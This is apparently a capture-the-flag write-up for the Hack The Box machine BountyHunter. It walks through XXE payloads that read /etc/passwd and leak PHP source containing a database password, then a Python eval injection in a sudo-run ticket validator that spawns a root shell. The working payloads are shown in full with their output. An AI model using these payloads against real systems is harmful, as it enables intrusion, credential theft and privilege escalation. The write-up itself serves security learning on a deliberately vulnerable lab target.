Home Hack The Box Writeup - BountyHunter
Post
Cancel

Hack The Box Writeup - BountyHunter

BountyHunter is an easy Linux box. To get initial access to the system, the BountyHunter Bug Report form has to be exploited. It is vulnerable to XXE, thus allowing us to include arbitrary files of the system into the website. Here, we made use of php-filters such that we can successfully leak php files. One of those files contained valid credentials of a user, which were to log into the system. To obtain root access, we had to exploit a command injection vulnerability in a custom made ticket software.

Enumeration

First, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rustscan --ulimit 5000 10.129.184.123 -- sV -sC -oN nmap_scan

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
|   256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The open ports are:

  • 22 - SSH: no further information
  • 80 - HTTP: A web application called “Bounty Hunters” hosted with Apache version 2.4.41

Port 80

Opening the webbrowser and accessing the hosted webapplication on port 80, we see a website with the name “Bounty Hunters”.

It tells us something about the idea of the “company”, provides a contact form as well as a portal. Visiting the portal, we are prompted with the message: “Portal under development. Go here to test the bounty tracker.”. Following the link, we can now test the Bounty Report System - Beta:

So let’s open BurpSuite and see what actually happens if we use the submit functionality of this Bounty Report System.

The values in the form are “test,test,test and test”. The resulting request looks as follows:

It’s a POST request to the endpoint /tracker_diRbPr00f314.php (which is a very suspicious name), with a data parameter, that looks like the base64 encoding of our submitted data. Let’s decode it to see if this is the correct assumption:

Perfect! It’s indeed base64 encoding. But it’s an XML file … so let’s look at the client-side code to figure out what’s happening.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

When submitting the data, it creates an XML file in the bountySubmit function. Afterwards, a POST request is sent to the endpoint tracker_diRbPr00f314.php with the XML file as data. The Endpoint then evaluates the XML file and sends back a confirmation, which is then set as the htmldata of the HTML element with the id ‘#return’.

To someone who’s rather experienced with web-security, this is definitely a red-flag for XXE.

Further, we can scan for existing PHP files, maybe this will help us later:

1
2
3
4
5
┌─[✗]─[ctf@parrot]─[~/HTB/machines/bountyHunter]                                
└──╼ $ feroxbuster -u http://10.129.184.123 -w /usr/share/wordlists/dirb/common.txt -x php
200        0l        0w        0c http://10.129.184.112/db.php
200      388l     1470w        0c http://10.129.184.112/index.php
200        5l       15w      125c http://10.129.184.112/portal.php 

Initial Foothold

So let’s try to manipulate the transmitted XML file, by including external entities.

We first create our proof-of-concept XML file, which should include the /etc/passwd file as title.

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&example;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>

Afterwards, we encode it with bas64 to: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICAgICAgICAgICAgICAgIDwhRE9DVFlQRSByZXBsYWNlIFs8IUVOVElUWSBleGFtcGxlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4mZXhhbXBsZTs8L3RpdGxlPgoJCTxjd2U+dGVzdDwvY3dlPgoJCTxjdnNzPnRlc3Q8L2N2c3M+CgkJPHJld2FyZD50ZXN0PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ and append it as data parameter in our POST request to /tracker_diRbPr00f314.php.

1
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICAgICAgICAgICAgICAgIDwhRE9DVFlQRSByZXBsYWNlIFs8IUVOVElUWSBleGFtcGxlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4mZXhhbXBsZTs8L3RpdGxlPgoJCTxjd2U%2bdGVzdDwvY3dlPgoJCTxjdnNzPnRlc3Q8L2N2c3M%2bCgkJPHJld2FyZD50ZXN0PC9yZXdhcmQ%2bCgkJPC9idWdyZXBvcnQ%2b

Perfect! We have an XXE vulnerability that leads to LFI. Let’s see if we can obtain some important files such as SSH keys or the web application files.

Unfortunately there are no ssh files for the users. So let’s try to obtain the source code of the web application files with the following XXE payload:

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/PHP_FILE_NAME">]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>

1) /tracker_diRbPr00f314.php

Output:

1
<td>PD9waHAKCmlmKGlzc2V0KCRfUE9TVFsnZGF0YSddKSkgewokeG1sID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RhdGEnXSk7CmxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CiRkb20tPmxvYWRYTUwoJHhtbCwgTElCWE1MX05PRU5UIHwgTElCWE1MX0RURExPQUQpOwokYnVncmVwb3J0ID0gc2ltcGxleG1sX2ltcG9ydF9kb20oJGRvbSk7Cn0KPz4KSWYgREIgd2VyZSByZWFkeSwgd291bGQgaGF2ZSBhZGRlZDoKPHRhYmxlPgogIDx0cj4KICAgIDx0ZD5UaXRsZTo8L3RkPgogICAgPHRkPjw/cGhwIGVjaG8gJGJ1Z3JlcG9ydC0+dGl0bGU7ID8+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZD5DV0U6PC90ZD4KICAgIDx0ZD48P3BocCBlY2hvICRidWdyZXBvcnQtPmN3ZTsgPz48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkPlNjb3JlOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5jdnNzOyA/PjwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+UmV3YXJkOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5yZXdhcmQ7ID8+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo=</td>

Base64 - Decoded:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
<tr>
    <td>Title:</td>
    <td><?php echo $bugreport->title; ?></td>
</tr>
<tr>
    <td>CWE:</td>
    <td><?php echo $bugreport->cwe; ?></td>
</tr>
<tr>
    <td>Score:</td>
    <td><?php echo $bugreport->cvss; ?></td>
</tr>
<tr>
    <td>Reward:</td>
    <td><?php echo $bugreport->reward; ?></td>
</tr>
</table>

2) /log_submit.php

Output:

1
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IHNyYz0iL3Jlc291cmNlcy9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9yZXNvdXJjZXMvYm91bnR5bG9nLmpzIj48L3NjcmlwdD4KPC9oZWFkPgo8Y2VudGVyPgo8aDE+Qm91bnR5IFJlcG9ydCBTeXN0ZW0gLSBCZXRhPC9oMT4KPGlucHV0IHR5cGU9InRleHQiIGlkID0gImV4cGxvaXRUaXRsZSIgbmFtZT0iZXhwbG9pdFRpdGxlIiBwbGFjZWhvbGRlcj0iRXhwbG9pdCBUaXRsZSI+Cjxicj4KPGlucHV0IHR5cGU9InRleHQiIGlkID0gImN3ZSIgbmFtZT0iY3dlIiBwbGFjZWhvbGRlcj0iQ1dFIj4KPGJyPgo8aW5wdXQgdHlwZT0idGV4dCIgaWQgPSAiY3ZzcyIgbmFtZT0iZXhwbG9pdENWU1MiIHBsYWNlaG9sZGVyPSJDVlNTIFNjb3JlIj4KPGJyPgo8aW5wdXQgdHlwZT0idGV4dCIgaWQgPSAicmV3YXJkIiBuYW1lPSJib3VudHlSZXdhcmQiIHBsYWNlaG9sZGVyPSJCb3VudHkgUmV3YXJkICgkKSI+Cjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgb25jbGljayA9ICJib3VudHlTdWJtaXQoKSIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0ic3VibWl0Ij4KPGJyPgo8cCBpZCA9ICJyZXR1cm4iPjwvcD4KPGNlbnRlcj4KPC9odG1sPgo=

Base64-Decoded:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<script src="/resources/jquery.min.js"></script>
<script src="/resources/bountylog.js"></script>
</head>
<center>
<h1>Bounty Report System - Beta</h1>
<input type="text" id = "exploitTitle" name="exploitTitle" placeholder="Exploit Title">
<br>
<input type="text" id = "cwe" name="cwe" placeholder="CWE">
<br>
<input type="text" id = "cvss" name="exploitCVSS" placeholder="CVSS Score">
<br>
<input type="text" id = "reward" name="bountyReward" placeholder="Bounty Reward ($)">
<br>
<input type="submit" onclick = "bountySubmit()" value="Submit" name="submit">
<br>
<p id = "return"></p>
<center>
</html>

3) /portal.php

Output:

1
PGh0bWw+CjxjZW50ZXI+ClBvcnRhbCB1bmRlciBkZXZlbG9wbWVudC4gR28gPGEgaHJlZj0ibG9nX3N1Ym1pdC5waHAiPmhlcmU8L2E+IHRvIHRlc3QgdGhlIGJvdW50eSB0cmFja2VyLgo8L2NlbnRlcj4KPC9odG1sPgo=

Base64-Decoded:

1
2
3
4
5
<html>
<center>
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.
</center>
</html>

4) /db.php (we found this during enumeration)

Output:

1
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

Base64-Decoded:

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Great! A leaked password! Let’s try this for the user development which we previously leaked when we included the /etc/passwd file via XXE.

It works! We now have full access to the user development.

1
2
3
development@bountyhunter:~$ hostname && id
bountyhunter
uid=1000(development) gid=1000(development) groups=1000(development)

Privilege Escalation

First let’s start with the very basic stuff: Capabiltities, SUID files and Sudo commands:

1) Checking capabilities:

1
2
3
4
5
development@bountyhunter:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep

Nothing interesting.

2) Checking SUID files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
development@bountyhunter:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/bcred
/usr/bin/su
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/passwd

Nothing interesting either.

3) Checking allowed commands on the current host as sudo:

1
2
3
4
5
6
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.p

Perfect! So there is a file which we can execute with root permissions.

It has the following permissions:

1
2
development@bountyhunter:~$ ls -la /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:25 /opt/skytrain_inc/ticketValidator.py

So we can basically only execute it without modifying it. Sad…. Let’s take a look at the python script. Maybe we can exploit something within the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Exactly as I thought… here we have unsanitized user-input (through the markdown file) as parameter for an eval. So let’s understand what the program expects and then we can craft an exploit.

1) First it checks if the input file has the .md ending 2) If so, then it checks if the first line starts with # Skytrain Inc 3) If so, then it checks if the second line starts with ## Ticket to and prints the Destination (which is the part after the Ticket to separated with a white space) 4) If everything works, then it checks if the next line starts with ** 5) If so, then it checks if the first part is a number that fulfills the equation number mod 7 == 4 .. so that’s basically any number y that’s y= 4 + (x * 7) for any x in Z, for example the number 11. 6) If the first part fulfills the condition, then it removes the ** from the beginning and uses the complete line as parameter for the eval function. So here’s the vulnerability! We can basically append any valid python code here, which will then be executed with root privileges. Let’s craft the exploit.

File: /tmp/ticket.md

1
2
3
4
# Skytrain Inc
## Ticket to Test
__Ticket Code:__
**11 + __import__('os').system('/bin/bash')

Run the exploit:

1
2
3
4
5
6
7
development@bountyhunter:/opt/skytrain_inc$ sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: Test
root@bountyhunter:~# hostname && id
bountyhunter
uid=0(root) gid=0(root) groups=0(root)

There we go! We are root!

This post is licensed under CC BY 4.0 by the author.